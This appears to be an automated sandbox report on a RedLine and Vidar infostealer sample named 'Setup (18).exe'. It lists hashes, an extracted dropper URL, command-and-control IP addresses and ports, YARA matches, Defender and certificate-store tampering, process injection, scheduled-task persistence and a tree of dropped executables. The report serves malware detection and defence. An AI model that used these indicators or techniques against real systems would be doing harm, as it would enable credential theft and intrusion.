redline | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (18).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score

10^/10

redline vidar 27.08 supertraff evasion infostealer stealer themida trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://kmsauto.us/ALL.txt

Extracted

Family

redline

Botnet

27.08

95.181.172.100:55640

Extracted

Family

redline

Botnet

supertraff

135.148.139.222:1494

Extracted

Family

redline

205.185.119.191:18846

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1588	3048	rundll32.exe	87

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 32 IoCs

resource	yara_rule
behavioral19/memory/2080-198-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral19/memory/2080-199-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2076-200-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral19/memory/2076-201-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2212-202-0x0000000002E50000-0x0000000002E6C000-memory.dmp	family_redline
behavioral19/memory/2228-206-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2212-207-0x00000000049D0000-0x00000000049EA000-memory.dmp	family_redline
behavioral19/memory/2220-205-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2228-208-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral19/memory/2432-215-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2368-214-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2060-221-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2556-222-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/628-229-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/792-228-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2200-231-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2512-234-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2100-239-0x000000000041A67A-mapping.dmp	family_redline
behavioral19/memory/1800-244-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/1388-247-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/1228-245-0x000000000041A6BE-mapping.dmp	family_redline
behavioral19/memory/2356-252-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2532-254-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/1752-259-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/1548-262-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2024-267-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/3024-268-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2800-277-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2564-276-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/2020-279-0x000000000041C6B2-mapping.dmp	family_redline
behavioral19/memory/2236-281-0x000000000041A6B2-mapping.dmp	family_redline
behavioral19/memory/112-286-0x000000000041C6B2-mapping.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral19/memory/976-1074-0x0000000000310000-0x00000000003AD000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
888	0Gh96NJe2Bupqgw4Klyy5O75.exe
912	PPX0ththg5KKE51Dnnl5K7fK.exe
976	74UeghE3jC7yTqZk_LHduGfe.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation	Setup (18).exe

Loads dropped DLL 20 IoCs

pid	Process
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe
1892	Setup (18).exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral19/files/0x0003000000013172-103.dat	themida
behavioral19/files/0x0003000000013176-99.dat	themida
behavioral19/files/0x0003000000013168-93.dat	themida
behavioral19/files/0x0003000000013176-146.dat	themida
behavioral19/files/0x0003000000013168-142.dat	themida
behavioral19/memory/1936-172-0x0000000001020000-0x0000000001021000-memory.dmp	themida
behavioral19/memory/556-176-0x0000000000220000-0x0000000000221000-memory.dmp	themida
behavioral19/memory/1756-194-0x00000000011E0000-0x00000000011E1000-memory.dmp	themida

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ipinfo.io
21	ipinfo.io
154	ipinfo.io
156	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 888 set thread context of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2772	976	WerFault.exe	34
1680	440	WerFault.exe	55

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2964	schtasks.exe
3012	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2804	taskkill.exe
6092	taskkill.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (18).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (18).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (18).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (18).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (18).exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1892	Setup (18).exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 888	1892	Setup (18).exe	31
PID 1892 wrote to memory of 888	1892	Setup (18).exe	31
PID 1892 wrote to memory of 888	1892	Setup (18).exe	31
PID 1892 wrote to memory of 888	1892	Setup (18).exe	31
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 888 wrote to memory of 1812	888	0Gh96NJe2Bupqgw4Klyy5O75.exe	33
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 1808	1892	Setup (18).exe	35
PID 1892 wrote to memory of 976	1892	Setup (18).exe	34
PID 1892 wrote to memory of 976	1892	Setup (18).exe	34
PID 1892 wrote to memory of 976	1892	Setup (18).exe	34
PID 1892 wrote to memory of 976	1892	Setup (18).exe	34
PID 1892 wrote to memory of 968	1892	Setup (18).exe	38
PID 1892 wrote to memory of 968	1892	Setup (18).exe	38
PID 1892 wrote to memory of 968	1892	Setup (18).exe	38
PID 1892 wrote to memory of 968	1892	Setup (18).exe	38
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1108	1892	Setup (18).exe	36
PID 1892 wrote to memory of 1584	1892	Setup (18).exe	39
PID 1892 wrote to memory of 1584	1892	Setup (18).exe	39
PID 1892 wrote to memory of 1584	1892	Setup (18).exe	39
PID 1892 wrote to memory of 1584	1892	Setup (18).exe	39
PID 1892 wrote to memory of 1640	1892	Setup (18).exe	37
PID 1892 wrote to memory of 1640	1892	Setup (18).exe	37
PID 1892 wrote to memory of 1640	1892	Setup (18).exe	37
PID 1892 wrote to memory of 1640	1892	Setup (18).exe	37
PID 1892 wrote to memory of 2008	1892	Setup (18).exe	40
PID 1892 wrote to memory of 2008	1892	Setup (18).exe	40
PID 1892 wrote to memory of 2008	1892	Setup (18).exe	40
PID 1892 wrote to memory of 2008	1892	Setup (18).exe	40
PID 1892 wrote to memory of 848	1892	Setup (18).exe	777
PID 1892 wrote to memory of 848	1892	Setup (18).exe	777
PID 1892 wrote to memory of 848	1892	Setup (18).exe	777
PID 1892 wrote to memory of 848	1892	Setup (18).exe	777
PID 1892 wrote to memory of 1356	1892	Setup (18).exe	59
PID 1892 wrote to memory of 1356	1892	Setup (18).exe	59
PID 1892 wrote to memory of 1356	1892	Setup (18).exe	59
PID 1892 wrote to memory of 1356	1892	Setup (18).exe	59
PID 1892 wrote to memory of 1300	1892	Setup (18).exe	58
PID 1892 wrote to memory of 1300	1892	Setup (18).exe	58
PID 1892 wrote to memory of 1300	1892	Setup (18).exe	58
PID 1892 wrote to memory of 1300	1892	Setup (18).exe	58
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57
PID 1892 wrote to memory of 1756	1892	Setup (18).exe	57

C:\Users\Admin\AppData\Local\Temp\Setup (18).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (18).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Users\Admin\Documents\0Gh96NJe2Bupqgw4Klyy5O75.exe
  "C:\Users\Admin\Documents\0Gh96NJe2Bupqgw4Klyy5O75.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Users\Admin\Documents\0Gh96NJe2Bupqgw4Klyy5O75.exe
    "C:\Users\Admin\Documents\0Gh96NJe2Bupqgw4Klyy5O75.exe"
    3⤵
    PID:1812
- C:\Users\Admin\Documents\PPX0ththg5KKE51Dnnl5K7fK.exe
  "C:\Users\Admin\Documents\PPX0ththg5KKE51Dnnl5K7fK.exe"
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Users\Admin\Documents\74UeghE3jC7yTqZk_LHduGfe.exe
  "C:\Users\Admin\Documents\74UeghE3jC7yTqZk_LHduGfe.exe"
  2⤵
  - Executes dropped EXE
  PID:976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 892
    3⤵
    - Program crash
    PID:2772
- C:\Users\Admin\Documents\qN80hBoj9WxONOPnNhQy1LKJ.exe
  "C:\Users\Admin\Documents\qN80hBoj9WxONOPnNhQy1LKJ.exe"
  2⤵
  PID:1808
- - C:\Users\Admin\Documents\qN80hBoj9WxONOPnNhQy1LKJ.exe
    "C:\Users\Admin\Documents\qN80hBoj9WxONOPnNhQy1LKJ.exe"
    3⤵
    PID:2100
- C:\Users\Admin\Documents\uOX240tt1MYOEJGtJKffQKsL.exe
  "C:\Users\Admin\Documents\uOX240tt1MYOEJGtJKffQKsL.exe"
  2⤵
  PID:1108
- - C:\Users\Admin\Documents\uOX240tt1MYOEJGtJKffQKsL.exe
    "C:\Users\Admin\Documents\uOX240tt1MYOEJGtJKffQKsL.exe"
    3⤵
    PID:1228
- C:\Users\Admin\Documents\IaqePeXiqdq4q64F7EvUj6BE.exe
  "C:\Users\Admin\Documents\IaqePeXiqdq4q64F7EvUj6BE.exe"
  2⤵
  PID:1640
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
    3⤵
    PID:5376
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:5764
- C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
  "C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe"
  2⤵
  PID:968
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3968
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4040
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1712
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2948
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3324
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3776
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3984
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4088
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3264
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2184
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2980
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2320
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4136
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4252
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4360
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4512
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4612
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4720
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4828
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4968
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5096
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4208
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4392
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4004
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4812
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1964
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2800
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2408
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3204
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1004
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4036
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3104
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3804
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1688
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2464
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4544
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3248
